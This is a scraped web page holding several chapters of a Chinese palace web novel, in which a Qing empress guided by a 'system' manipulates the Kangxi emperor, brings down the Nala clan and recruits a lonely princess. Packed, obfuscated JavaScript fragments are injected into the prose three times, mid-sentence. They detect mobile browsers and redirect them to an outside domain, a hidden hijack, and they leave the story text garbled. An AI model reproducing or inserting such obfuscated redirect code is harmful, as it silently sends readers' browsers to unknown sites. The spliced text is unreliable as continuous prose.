RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16342753|173504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,陪皇上演这么一出“弃妇伤春”的戏。 不过没关系,只要能让这位恋爱脑帝王的愧疚感再深些,让朝政推进得再顺些,演场戏而已,又有什么难的。 窗外的紫藤花被风吹得轻轻摇晃,珠兰望着那片紫色的花海,心里开始琢磨明早的“戏份”——毕竟,这可是系统认证的“专家方案”,总得演得像模像样才行。 玉宁侍寝的第二日清晨,康熙看着她穿着寝衣、怯生生告退的模样,指尖还残留着昨夜的温软,生理与心理的愉悦像潮水般漫过——她的性子清雅,合他心意,那份小心翼翼的爱慕也让他心头熨帖。 可这份愉悦没持续多久,梁九功一句“皇后娘娘今早没去内务府,就坐在养心殿外的紫藤花架下看书,看了快一个时辰了”,瞬间让他像被泼了盆冷水。 愧疚感翻涌上来,压得他连早朝都有些心不在焉——他明知珠兰懂事,却总忍不住脑补她独坐花架下的模样:手里捧着书,眼神却空落落的,风一吹,紫藤花瓣落在她肩头,她都没察觉。 这念头,扎得他下了朝就往养心殿赶。 刚进院门,就看见珠兰果然坐在花架下,粉白色的素裙衬得她身形单薄,目光却没落在书页上,而是望着乾清宫的方向,眼底像蒙了层薄雾。 “珠兰。”康熙的声音有些发紧,快步走过去,伸手就把她揽进怀里。 珠兰被他突如其来的动作吓了一跳,下意识想推,却被系统在脑海里急声制止:别推!按剧本走!眼神放空,语气带点委屈! 她身子微微僵硬,声音轻得像叹气:“皇上怎么来了?” “朕……”康熙抱着她的手臂更紧了,下巴抵在她发顶,语气里满是自己都没察觉的急切,“朕听说你一早就在这儿坐着,是不是……是不是朕昨晚没过来,你不高兴了?” 珠兰没说话,只是轻轻摇了摇头,手指攥着他的龙袍衣角——这是系统的“细节动作”,能显得更委屈。 康熙却把这沉默当成了默认,心里的愧疚和心酸瞬间翻了倍。 他想起昨夜与玉宁的温存,想起珠兰这些日子帮他处理朝政、照顾他眼疾的模样,又想起那些话本里“负心帝王弃正妻”的剧情,胸口像被堵住似的难受:“珠兰,朕知道是朕对不住你。可朕没办法,朕不能让你生孩子,不能让你冒风险,只能让别人……” 他絮絮叨叨地说着,从“怕你像梦里那样离朕而去”,说到“朕心里只有你一个”,再到“等将来,朕一定只陪着你”,把话本里男主角的深情誓言学了个十成十。 那语气里的委屈、隐忍,比话本里的男主还像“忍辱负重”,仿佛他不是坐拥三宫六院的帝王,而是个被现实逼得“背叛爱情”的可怜人。 珠兰靠在他怀里,听着他翻来覆去地说,忍不住在心里翻了个白眼——这位皇上,还真是把“虐恋情深”刻进骨子里了,自产自销的爱。 你看!我就说吧! 系统的声音在脑海里雀跃:他现在满脑子都是“我背叛了皇后,我好苦”,愧疚值都快溢出来了!接下来你就顺着他说,说“皇上别为难自己,臣妾懂”,他能更感动! 珠兰抬手轻轻拍了拍他的背,声音柔得像水:“皇上别这么说,臣妾懂。您是天子,子嗣大事不能耽误,臣妾怎么会怪您?只要您好好的,臣妾就安心了。” 这话一出,康熙更感动了,抱着她的力道又重了些,眼眶都红了:“珠兰,你怎么这么好……朕发誓,这辈子绝不会负你!” 珠兰心里暗自叹气——这位恋爱脑帝王,怕是这辈子都走不出话本剧情了。 不过也好,他的愧疚感越深,对她的信任就越重。 花架下的紫藤花瓣还在轻轻飘落,落在两人交握的手上。 康熙沉浸在自己“虐恋情深”的戏码里,没看见珠兰眼底一闪而过的无奈;而珠兰也没点破,只是顺着他的节奏,继续演着这场“皇后体谅帝王苦衷”的戏。 玉宁侍寝后,依然每日来养心殿,陪着皇后闲聊。只是会在皇帝过来前离去,这一个月每日御医都要问脉,直到确认她是否有好消息。 康熙也没有因一夜温存,便食髓知味,频繁召幸嫔妃。佟国纲发回来的前线情况,让他头疼不已,又开始熬夜处置,着实没有心情。 六月的风吹暖紫禁城的宫墙,太医院传出了让慈宁宫与寿康宫都喜上眉梢的消息——惠贵人玉宁怀了龙嗣。 消息是轮值太医在给玉宁请满一个月平安脉后,颤着声禀报给梁九功的。 皇帝听了消息,松了口气,喜色不多,只是像是完成了一件任务一般。 梁九功听皇上安排送去惠贵人处的规制内的赏赐,心里便晓得轻重了。 慈宁宫里,太皇太后一听说玉宁有孕,便让人去请皇后了。 太后也赶了过来,她修养了半年,气色好了些,脸上笑开了花:“这可真是老天保佑!珠兰这孩子会打理后宫,玉宁又这么争气,咱们大清的福气要来了!”她这会儿听了喜讯,竟觉得连精神都好了大半。 没等多久,珠兰就快步走进了慈宁宫。 她刚一进门,就先对着太皇太后和太后屈膝行礼,脸上满是真切的笑意:“皇祖母,皇额娘,这可真是天大的喜事!臣妾这就让人把库房里的人参、燕窝都挑最好的送过去,再派两个有经验的嬷嬷去伺候,务必让惠贵人安安稳稳养胎。” 太皇太后看着她这副周全的模样,心里先松了口气——她原本还怕珠兰会因为“失独宠”加“旁人有孕”心里不舒服,没成想她比谁都高兴。 太皇太后拉着珠兰的手,笑着说:“哀家正想跟你说,玉宁怀了龙嗣,是大功一件,该给她晋个位,你觉得怎么样?” 珠兰连忙点头,语气更热络了,“皇祖母说得是!惠贵人也该晋嫔了,她性子温婉,又有才情,如今怀了龙嗣,晋位分既能让她安心养胎,也能堵住外面那些闲话,让朝臣们知道咱们后宫和睦。” 她顿了顿,又补充道:“等将来惠嫔生了皇子,再晋她为妃,这样一步步来,既合规矩,也显得咱们对皇嗣的重视。” 太皇太后听得一怔,好像有哪里不对,她握着珠兰的手用力拍了拍,“好孩子!哀家果然没看错你! 太后也在一旁附和:“珠兰这孩子就是懂事!有你在,都放心。” 珠兰笑着应下,又跟太皇太后、太后商量了些“给惠嫔宫里加派人手”“每日让太医院专人问诊”的细节,才起身告退。 走出慈宁宫时,阳光正暖,她抬头望了望乾清宫的方向。 100. 用完就丢 乾清宫 康熙正对着夏笙送来的密报出神,她竟然就这般……大方。 爱归爱,天子多疑的本能还在。 养心殿内住着心爱之人,与每日不断的密报,当然是不冲突的,皇帝如是想。 夏笙终日打两份工,比旁人忙碌多两个时辰不止,珠兰为此给她发两份工钱,大家都没意见。 听闻珠兰的反应,皇帝心里竟涌上一股酸涩…… 夏笙悄悄抬眉,马上垂下眼帘,皇上的脸色可不好看啊。 他只召过玉宁一次,让她怀上了孩子,而珠兰…… 夏笙说起珠兰方才在慈宁宫的情真意切,她为惠贵人晋位分是如此周全,如此合乎皇后的身份。 皇帝的胸口,又开始发闷。 冬日送炭,夏日添冰,从不因小主们是否得圣宠来衡量每日的供应,只因皇后娘娘的公平公正、一视同仁。 内务府从没有这般清正过,早年间的三阿哥玄烨也是晓得人情冷暖的。 这几个丫头,从没吃过他额娘当年的苦头,完全把各宫正殿当自家闺房了。 是了,自来珠兰就爱惜女子,对宫中这几个在慈宁宫一起长大的,更是疼的厉害。各色好吃的好玩的,没有亏待任何一个便罢了,居然连她们的娘家都一并照顾。 纳喇氏、马佳氏本是二流人家,现在也勉强能跻身顶层勋贵了。草原上更是不需说,阿日娜苏家中也抖了起来,论声势完全不虚太皇太后的娘家了。 曾经康熙劝慰自己,这定然是珠兰为了自己所做。 可是,当真如此吗? 这后宫,到底是谁的…… 一时间,他竟恍然,不知道自己是在想些什么。 从来都是天老大他老二的皇帝,如何会质疑自己在爱人心中的地位? “梁九功,”康熙轻声吩咐,“去养心殿告诉皇后,就说……就说朕知道喜讯了,让她不用多费心准备赏赐,朕让人去办就好,别累着她。” 梁九功连忙应下,拽着没眼色的夏笙一起退下,心里却暗自叹气。 皇家姻缘,太复杂了。 皇后娘娘无子,亦不侍寝,却是皇上的心上人。 眼见着惠贵人色色都好,入了圣人的眼,正该得宠,可皇上却仿佛极为勉强。 乃至,那一夜后,竟然不愿去见一见新宠。 惠贵人原本还有许多花样,是个有心的。 承宠之后不说乘胜追击,居然每日往皇后娘娘处报道,硬着守着“请平安脉居一月满”的老规矩。 两边,就这么凉下来了。 好在,那惠贵人有运,一举成事。可皇上这种反应,不似自己妾室有喜,像是抓住了红杏出墙的丈夫,也叫梁九功看不懂了。 这孩子,实打实是皇上的。 也不能是皇后的啊…… 不对,还真也是皇后的孩子。 但是…… 梁九功自诩聪明,是真没理顺脑袋瓜子里的乱草。 往后,还是远着贵人小主们吧。 宫墙内外,因为“贵人有孕”的喜讯一片欢腾。 皇帝以此证明,他后继有人。 前朝亲信们,也会为传承有序而更加安心办差。 即便是葛布喇,也没有任何异议,这个孩子即便为妃嫔所出,也得管珠兰叫皇额娘。 没人知道,珠兰在这场欢喜里,早已算好了每一步——玉宁的孕事,是她推波助澜的结果;晋位分的周全,是她稳固人心的手段;而康熙那又要冒头的酸味儿,更是她往后推进朝政的助力。 六月的风带着紫藤花的香气,珠兰站在窗前,看着心怀忐忑的惠嫔玉宁走远,嘴角勾起一抹淡淡的笑——棋局,正朝着她想要的方向。 晋位也罢,孩子也罢,得宠也好,失宠也好,三步一回头的玉宁抚摩着毫无变化的肚子,目的已经达到了,便不可再有多余的举动。 皇上不喜欢她,甚至是看不到她,如此便不能失去皇后的欢心。 只要宫中有皇后娘娘护着,她便能养下这个孩子,能过好自己的日子,此生守着这一个,便知足了,至于家里…… 天子收回内务府之权时,她失去了对家族的控制。当初娘娘给了恩典,才有盛京老家纳喇氏的威风。这些年他们若欺瞒于她,有作奸犯科之举,为娘娘所知,也是命数到了。决不能,为了他们伤了娘娘的心。这个孩子的未来,都握在娘娘手里。 夜幕落时,养心殿的烛火刚点亮,康熙掀帘走了进来。 珠兰正坐在案前翻内务府的账簿,见他进来,便随手把账本合上,笑着起身:“皇上没在乾清宫歇着?” “在那边待着闷,过来看看你。”康熙走到案边,目光扫过桌角摊着的一份折子,指尖刚要碰,就见珠兰伸手把折子往身后拢了拢,语气带着几分随意:“没什么要紧的,就是内务府采买的琐事,还没理清楚呢。” 她这遮掩的模样,反倒让康熙起了疑心。 是赫舍里族人的事? 皇后自来没有私心,与葛布喇如出一辙,便是她的族人有事,也不会隐瞒。 莫非,又是草原上博尔济吉特叫她难做了? 太皇太后的娘家人,从顺治年间便嚣张至极,到了本朝更是变本加厉,若非皇后奉两宫入草原,还不知道会闹的多难看。 这一次端敏一举赶走了有些异动的准噶尔,实在出乎他的意料。原本,这准噶尔他是预备放任些许年份,等腾出手来再收拾,没想到就这么被打跑了。 只是,终究还留下了主力在。 端敏不晓得草原人的本性,只要留下种子在,他们就像野草一样蔓延,过不了几年还会返回来找麻烦。 可佟国纲竟然也不晓得消灭有生力量的道理,生生叫那准噶尔跑去西域,这也导致皇帝不得不把端敏留在草原上,让她就地练兵、养兵。 一个女儿家,还是娇生惯养的宗女,太后的养女,板上钉钉的公主,即便再有天赋,也不该久居军营。 是朕,不得已啊。 想到这里,他抽了一口气,拉着珠兰坐下,语气沉了沉,“你向来不瞒朕,到底出什么事了?” 珠兰打了两遍哈哈,皇帝皆不为所动,只目不转睛的看着她。一双形状姣好的凤目,还微微带着点茫然与失焦,若非是这个发型太丑,皇帝也是个氛围感美人儿呢。 康熙不同她为难,就那么看着她,打定主意她定然是拗不过他的。 两人相处,是越发随意起来。 他十分享受这样的时光,纵容着皇后一再践踏君臣的界限,甚至在夫妻关系中居于下位而不自知。 珠兰做出,见瞒不过只好把折子递给他的模样,跟着转过身叹了口气,“是端敏和纳喇氏的族人在盛京闹起来了,差点动了手。” “端敏?纳喇氏?”康熙皱起眉,接过折子的手顿了顿,刚想起端敏在草原练兵的不易,这就出事儿了,“是惠嫔的娘家?” “嗯。”珠兰点头,把前因后果细细道来,“这奶糖生意您也知道,草原上缺糖,甜菜种植规模一直没有提上去,阿日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349053|173504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娜苏那边的商队常去盛京收东北的甜菜。今年纳喇氏族人仗着贵人有孕,竟坐地起价,还故意扣着货不给,定钱也不退,那边好说歹说都没用。” 皇帝听着就头大,这么点事儿,多少利啊,值得他们打出宫中贵人的幌子去抢,不够丢人的。 端敏是朕所封的固伦公主,阿日娜苏乃贵妃,皆为超品,岂是一般人能比的,区区纳喇氏,全族找不出个一品官,他们凭什么? 不着调的东西! 他心中对纳喇氏顿时便生出了不满,本来还觉得这盛京佐领他们家干的不错,每年给内务府的进贡不少,账面上漂亮,是懂事儿的。 一个贵人有孕,就敢猖狂! 见皇帝脸色不善,珠兰顿了顿,语气里添了几分无奈,“居盛京的恭悫公主派人去劝了两句,未曾想纳喇佐领竟连公主的面子都不给,放出话说,说‘现在宫里有咱们家贵人怀着龙嗣,谁也别想欺负咱们’。阿日娜孙很是难受,端敏气不过,派人围了纳喇氏在盛京的园子——纳喇氏多是军户,家里有兵器,两边差不点就打起来,这折子是内务府刚从盛京递回来的。” “放肆!”康熙猛地攥紧折子,指节泛白,连呼吸都粗了几分,已经降下去的肝火再度上升,“不过是家里出了个有孕的贵人,就敢在盛京横行?” 他越说越气,只顾着对胆敢不敬皇室公主、贵妃的纳喇氏发泄怒火,全然不提端敏派人越界寻衅报私仇之事,他抬手揉了揉又在发疼的眼睛——眼疾刚好些,哪经得住这般动怒。 珠兰忙递上温茶,轻声劝道:“都怪我,当初只想着给她们些补贴,没料到纳喇氏这么不知轻重,竟把内务府的买卖当成了自家的私产。” “跟皇后无关。”康熙喝了口茶,语气稍缓,却依旧带着雷霆之怒,“纳喇氏得势猖狂,也是朕平日里太纵容这些勋贵了!盛京是大清的根本,纳喇氏盘根错节,一代一代繁衍,都快成‘盛京王’了,再不管,早晚要出大事!” 倒也没那么严重,珠兰静静坐着,只是那边的产地与市场都被纳喇氏开拓的差不多了,得趁着他们家把经商所得都投入到土地上之前,把钱财抠出来,然后换人经营。免得他们浪费生产资料和劳动力,又走回封建地主的老路子。 皇帝放下茶杯,眼神瞬间冷了下来,“传朕的旨意,令纳喇氏全族迁回京城,内务府重新选派盛京佐领!另外,着人查纳喇氏这些年在盛京有没有贪墨、圈地,若是有,该罚的罚,该贬的贬,别让他们以为有惠嫔在,就能无法无天!” 珠兰见他火气还是很大,便顺着他的话补充:“迁回京城也好,放在眼皮子底下,他们也不敢再作乱。至于玉宁那边,您不妨找个机会跟她提一句,就说‘娘家要守规矩,别给她惹麻烦’,她是个懂事的,定然明白您的意思。” 康熙点点头,心里的不快渐渐压了下去。 他看着珠兰,白日里她在慈宁宫为玉宁晋位分,此刻她为盛京纷争出主意。 皇帝心里的愧疚,又悄悄冒了上来——她总是这样,无论后宫还是前朝的事,都能替他想得妥帖。而他,却总让她受委屈。 “珠兰,”康熙握住她的手,语气软了些,“这些日子辛苦你了,内务府、朝堂,还有后宫这些糟心事,都让你操心。” 珠兰笑了笑,反握住他的手,“只要皇上好好的,就不觉得辛苦。” 烛火映着两人交握的手,殿内的气氛渐渐回暖。 康熙看着珠兰温柔的侧脸,心里暗下决心——往后定要多听她的话,再不让她为这些琐事烦忧。 101. 恭悫入局 盛京公主府的秋,总比别处更沉些。 檐角铜铃在风里懒怠地晃,落音散在满院梧桐叶中,像被揉碎的叹息。 恭悫公主临窗而坐,素白手指捏着绣花针,针尖悬在杏色绢帕上,半日未敢落下——线脚歪了半寸,她便慌得抿紧唇,指尖微微发颤,仿佛这针脚不是绣在布上,而是扎在无人问津的心事里。 院外的梧桐叶又落了几片,打着旋儿飘到窗下,像极了她自小到大的光景:在紫禁城里,她从不是最惹眼的那个,额娘早逝,父皇的目光总落在他的第一子身上,祖母和嫡母还有阿哥们要照看,连宫里的嬷嬷都鲜少对她多一句温语。 久而久之,她连抬头说话都带着几分怯懦,遇事只懂缩在角落,想着“少出错便是好”。 如今远嫁盛京,嫁给纳尔杜,更像被抛进了一座更大的空院——府里的人待她恭敬,却无半分热络;宫里每年准时送来的赏赐,锦缎裹着金银,却裹不住字里行间的敷衍,除了端敏的信和内务府送来的皇后的问候,便连一封亲人问她“盛京寒否”的书信,都成了奢望。 她望着那片贴在窗棂上的梧桐叶,指尖轻轻碰了碰,又倏地收回——方才竟想,若能像这叶子般,随风飘回紫禁城,哪怕只看一眼熟悉的宫墙也好。 可这念头刚冒出来,便被她强压下去:嫁入纳尔杜府是皇上的旨意,是皇祖母的意愿,是皇额娘所说的命,她是公主,岂能有半分怨怼? 更何况,自小到大,她从未敢对命运说过半句“不”字。 绣花针终于落下,却在绢帕上戳出个小孔,像她心里那点不敢外露的委屈,藏不住,又不敢让人看见。 风卷着落叶擦过窗棂,她拢了拢身上的锦衫,只觉得这盛京的秋,比紫禁城里最冷的冬,还要凉些。 纳尔杜因鳌拜的关系不得重用,夫妻俩话少得很,日子过得咸淡无味。 只有端敏,这个幼年便在一处的姐妹,从不曾忘记她,前月来信邀她去草原游玩,又说公主亦可如我这般,何必顾影自怜。 可她,与她如何相同。 檐角铜铃还在风里低晃,院外忽然传来细碎的脚步声,轻得像落叶擦地,却让恭悫公主捏着绣花针的手猛地一顿。 未等她回神,丫鬟已掀帘进来,屈膝轻声禀报:“主子,靖宁公主来了。” “是端敏?”恭悫像是没听清,怔怔地重复了一遍,靖宁公主是端敏的封号。 指尖的绣花针“嗒”地落在绢帕上,下一秒,她猛地直起身,先前黯淡的眼里竟倏地亮起光来,像蒙尘的烛火被骤然拨亮,连带着苍白的脸颊都添了几分血色。 她顾不上整理衣襟,踩着裙摆快步迎出去,裙裾扫过窗下堆积的梧桐叶,带起几片碎影——这光景,倒像是怕慢一步,眼前的“喜讯”就会像梦一样散了。 院门口,端敏正立在梧桐树下,身上裹着件杏黄夹袄,见她出来,笑着扬了扬手。 恭悫几步上前,一把攥住她的手,指尖触到温热的布料,才敢确认这不是幻觉。 “你怎么来了?”她的声音发颤,惊喜混着委屈涌上来,眼眶瞬间就红了,泪珠在睫尖打转,却强忍着没掉下来,“我还,还以为……是我听岔了,或是,是做梦呢。” 她拉着端敏往屋里走,脚步都比往常轻快,语气里满是急切的欢喜,“快进来坐!这盛京的秋冷得早,我备了热参茶,刚温在炉上呢。” 说话间,她忍不住反复看端敏的脸,像是要把这几年没见的光景,都从这张熟悉的脸上补回来——自她远嫁,宫里的旧人便少了音讯,如今端敏来寻她,倒像是把紫禁城里那点仅存的暖意,也一并带到了这冷清的公主府。 两人进了内室,叙旧、闲谈、拉手,互相问了近况,各自说了见闻,不见的那几年仿佛不存在。 丫鬟奉了茶退下,端敏说完草原那一仗,看着恭悫公主眼底的落寞,突然说道:“你可知建宁姑姑的事?” 恭悫公主端茶的手顿了顿,点头道:“宫里虽没明说,但纳尔杜偶尔提过,说建宁姑姑并非……,可皇上……还是对外说她去了。”提起这事,她的声音低了下去——公主的命运,从来由不得自己,建宁姑姑如此,她亦是如此。 “可咱们就应该如此过吗?”端敏叹了口气,握住她的手,“咱们是身为公主,看似金尊玉贵,实则不过是皇室的妆点。你在盛京,岁岁年年,守着个不得志的额驸,年年岁岁,日子过得这般不合心意,这难道就是咱们该有的命?” 恭悫公主眼圈又红了,却还是强撑着笑,“那又能如何?在这盛京,我连出门都少,哪有什么消遣的地方?好好活着,不给皇上添麻烦,就够了。你也是莫要多生是非才好,你,你是不该来盛京的。” “怎么够?”端敏加重了语气,眼里闪着光,转而提起纳喇氏,“那一家子仗着出了个怀龙嗣的贵人,在盛京横行霸道,连内务府的庄子都敢私吞,不把咱们家里的人放在眼里。我已经把这事儿告诉皇后娘娘了——纳喇氏既然不开眼,就别怪咱们不客气。” 恭悫公主愣了愣:“皇后娘娘……会管这事?”端敏的兵马,即便不带火器来,哪里又是区区佐领能抗衡的,纳喇氏被狠狠教训了一顿,已经服软了,怎么端敏还告状去京中? 她虽久在盛京,却也听说过这位皇后的厉害,皇后会关心她们这些公主的处境? “当然会!”端敏拍了拍她的手,语气笃定,“皇后娘娘最疼咱们这些宗室女眷,知道咱们日子不好过。我跟娘娘说了,纳喇氏被迁回京城,盛京的这些庄园,就交给你管!”打蛇不死反受其害,端敏怎么可能留纳喇氏继续在自己眼皮子底下,掐着草原糖坊的上游。 “交给我?”恭悫公主瞪大了眼睛,手里的茶杯差点摔在桌上,“那可是内务府的庄园!不光有田地,还有山林、东珠、皮草、山参,纳喇氏攥了快十年,哪能说给就给?” 她知道那些庄园的利有多厚,京中的贵人瞧不上老家的贫瘠,向往中原的花花世界,实际每年光是东珠和山参的供奉,就够寻常勋贵活几辈子了。 “怎么不能?”端敏笑了,“纳喇氏是仗着惠嫔有孕才敢这般放肆,之前他们老实着呢,有皇后娘娘管着上下,谁也没有称王称霸的余地。也就是这两年内皇上亲自管了,偏又政务繁忙,内务府这边不那么精细了,才给他们机会罢了。” 可皇上最恨的就是勋贵擅权,皇后娘娘再吹吹枕边风,迁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16354311|173504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走纳喇氏是板上钉钉的事。端敏这样一说,她就明白了。 “惠嫔那边,毕竟怀着皇上的长子。”恭悫公主有些踟蹰,离开宫中多年,她心中总是忐忑的。 “纳喇氏既然敢挑衅公主,便是犯了忌讳。是皇上容不下,非你我之过。若是惠嫔认不清这由头,主子娘娘也会叫她认清楚的。”端敏对皇后娘娘有充分的信任,宫中这几位小主都被她捏在手里,不说言听计从,也是俯首帖耳。 恭悫虽还有些踟蹰,却也放下心来。主子娘娘的威名,在女眷堆里是极高的。 “至于庄园,娘娘说了,与其让那些不知感恩的人占着,不如交给自己人——你与我又不同,你是皇上的亲妹妹,正经和硕公主,管这些庄子、园子、林子名正言顺,谁也挑不出理来。”端敏凑近了些,拉过她的手,这双手柔滑细腻,不曾沾染过任何权谋,压低声线道:“建宁姑姑为了大清嫁给吴应熊,可她是何结局?” 恭悫公主凤眼圆睁,仿佛一只惊讶到极点的小狗狗般水润无措,自小她就被管着,如此也惯了,听话的长大、嫁人。她从不曾思考过姑姑的路到底是走到了哪里,而自己是否在同一条路上。 “女人总得有自己的事儿做,才能活得畅快。有了这些庄园,你便可以光明正大的出府,为皇上办事,不用留在这里看纳尔杜的臭脸。这盛京的包衣都要靠你的赏赐过活,盛京的兵马都要往你这里化缘,盛京的衙门也要仰仗你的支持,往后谁不得敬你三分?这难道不比做个木偶强?”端敏不再说那些犯忌讳的话,转而开始明明白白的引诱。 恭悫公主看着端敏眼底的认真,心里的死水泛起了涟漪。她也是爱新觉罗,也是天生的贵人,缘何就不能像端敏一样……自在! 她想了想这些年的冷清日子,想了想建宁姑姑的身不由己,又想了想皇后娘娘为依仗所带来的底气,眼眶终于湿了,用力点了点头:“好……我信你,也信皇后娘娘!” 端敏见她松了口,笑着抱了抱她,“这才对嘛!你且等着,不出几日,宫里的旨意就该到了。到时候,我和阿日娜苏在盛京的买卖还要靠你照顾!” “阿日娜苏?”恭悫公主一愣,贵妃娘娘出来做买卖?怎么后宫现在的打法这般新奇了? “对!咱们的贵妃,阿日娜苏。”端敏笑道,“是她的商队遇到了麻烦,我才来收拾不长眼的纳喇氏。” 窗外的梧桐叶还在飘,可内室里的气氛却不再冷清。 恭悫公主握着端敏的手,听着皇后娘娘与贵妃的渊源——或许,她的命运,真的能借着这场风波,迎来不一样的转机。 多谢那位远在紫禁城的皇后娘娘,多谢她还记得,盛京还有个被遗忘的公主。 “智力与技术不能遗传,唯有生产资料才是新兴贵族阶级永恒的追求。目前,表现为土地。所以,他们是敌……”珠兰淡淡念到此处,突然停了下来。 吉雅写了一半的书信,突然发现皇后娘娘闭上了眼睛,便静静等着。 打开系统面板,恭悫公主的亲密度直接突破了60。 宗室女中,有不少可塑之才呢。 就像远在云南的建宁公主,就干出了旁人都不曾预料到的大事。 102. 东南疑云 长江水裹挟着凉意,拍打着兵船的船舷。 佟国纲立在船头,望着远处雾蒙蒙的江面,身后传来轻快的脚步声——赫舍里常泰与常海两兄弟并肩走来,手里还提着个食盒,见了他便躬身行礼:“叔父。” 这是皇帝亲自勾选的人才,送入军中历练的宝贝疙瘩。不仅赫舍里氏宝贝着,便是江南的马佳氏也上赶着送了东西过来。佟国纲一眼就看到那食盒上的徽记,是织造府上的。 莫非,怕自己这个世叔会亏了世侄不成? 佟国纲转而想到宫中那位荣嫔,对皇后娘娘的妻妾平衡之术颇感敬佩。天子后宫不比前朝好相与,可娘娘就是有办法让妾的娘家入赫舍里门下为走狗。 这样想来,盛京纳喇氏的下场也是给这些奴才提了醒,这不,都眼巴巴的往上凑,是表忠心呢。 “免礼。”佟国纲转过身,看着这两个少年郎,都是清隽的模样,与葛布喇有六七分像。想起老友,此刻定在南书房忙碌,他眼底露出几分笑意,“怎么不在舱里歇着?江风凉,仔细吹着。”葛布喇的儿子,与他自己的,也没多大个区别。赫舍里氏与佟佳氏,过命的交情是有的。姻亲关系,更是复杂的很。 常海性子爽朗,率先掀开食盒,拿出里面温着的莲藕排骨汤,完全是亲昵的口吻,“叔父,这是江南的做法,您尝尝。我跟大哥在舱里待着闷,想着出来跟您说说话,也看看这长江的景色。” 常泰站在一旁,手里捧着个小沙盘,神色沉静,不像常海那般活泼,只静静听着,偶尔抬眼看向江面,目光里透着与年龄不符的沉稳。 这个孩子,有几分皇后娘娘宠辱不惊的气度。 佟国纲接过汤碗,喝了一口,暖意顺着喉咙往下滑,马佳氏有心了。他叹了口气:“这长江看着平静,过了江,就是东南的浑水了。” 常海立刻接话,语气带着好奇,“叔父,咱们这次去福建,真能把王爷他们叫回来吗?我在京里听人说,东南的仗去年就该打完了,怎么拖到现在还没结束?” 这话正戳中佟国纲的心事,叫他心中有无数浪涛起伏,一时半会居然不知从何说起。 常海也不催,就笑嘻嘻的等着。 他放下汤碗,捉摸着措辞,都是自家孩子,倒也没什么不能说的。这样想着,他眉头也皱了起来,“谁说不是呢?三藩的兵马,哪扛得住咱们的新火器?去年开局就是大胜,连老巢都摸到了,谁能想到,拖到今年,十万精锐竟陷在那儿,出不来了。你们三叔索额图麾下的海军在海面上转悠了许久,也没发现有外来的援兵。” 常泰这时才开口,声音清冷,却一针见血,“叔父,正红旗的军报,您看过吧?南下时,斩获无数,俘虏成群,眼看就能得胜还朝,却突然被匪军偷袭——今日丢粮草,明日烧大营,一群乱民,怎么能把训练有素的八旗精锐打得摸不着头脑?这不合常理。” 打仗哪有不死人的,偏偏,伤亡比例低的吓人。这里面,必然有为了军饷的缘故。未尝,没有别的缘法。佟国纲心里一动,看向常泰:“你也觉得不对劲?” 对于两个孩子晓得军报内容之事,他是半点不怀疑,他们必然是从老友葛布喇那里知道的消息。即便葛布喇不说,索额图回家也会教导侄子的,躺在榻上起不来也不踏实的索尼也是个中好手,这俩孩子该有这个认知水平。 “是。”常泰点头,手指在沙盘上轻轻划着,“三藩已灭,剩下的不过是些散兵游勇,就算有残部,也该是溃不成军,哪来的底气跟朝廷大军周旋?这里头,定然有不为人知的隐患——那匪军,绝对不寻常。”即便是号称十万精锐南下,也足有精锐五万,辅军十万。 佟国纲心中感慨,这才是八旗下一代该有的水平啊,交流起来就该这般顺畅,若都与鄂伦岱一般混账,大清八成要完。 常海在一旁听得连连点头,又追问:“为什么不速战速决?难道真像京里传的那样,他们在南边刮民脂民膏,不想回来?” 佟国纲苦笑一声,自家的俩棒槌是没有这种思考的,他声音压得低了些,“京里何止这么传?连皇上看了军报都暴跳如雷。八旗兵出来打仗,谁不想捞点好处?可也得有个分寸。杰书、岳乐一干人天天在军报里喊着要抚恤、要粮草、要军械,一次两次还行,次数多了,皇上能不起疑心?” 常泰与常海对视一眼,皆不做声了。 他顿了顿,又道:“我也不瞒你们——这次皇上让我等带兵马南下,说是督战,实则是去查清楚,东南到底出了什么事,连皇上的耳目都说不清楚其中因果,连索额图的手下传回的消息都不能让天子满意。杰书、岳乐都是宗室里有名能干的王爷,怎么到了东南,就跟换了个人似的?兵血就那么好喝?民脂就那么好刮?就算想贪,也得寻个像样的理由,哪像现在这样,把朝廷当傻子糊弄不成。他们得知道,这是康熙朝,不是顺治朝了!” 常泰静静听着,忽然问:“叔父,您觉得,是他们自己想贪,所以不肯走,还是当真有人在背后牵制朝廷大军?” “这就说不准了。”佟国纲摇了摇头,“不过有一点能肯定,东南的水,比咱们想的还深。我只盼着,到了福建,能尽快把这事查清楚,别让十万精锐再耗在那儿了——那可是朝廷除去边防之外的全部家底,耗不起。”满人本就少,精锐就更少了。 常海这时想起什么,笑着说:“叔父,我跟大哥还听说,鄂伦岱哥哥和叶克书哥哥之前跟着端敏姐姐去草原追击准噶尔,定然有许多行军的道理可以讲给我们的,我们想去前军找两位哥哥行吗?” 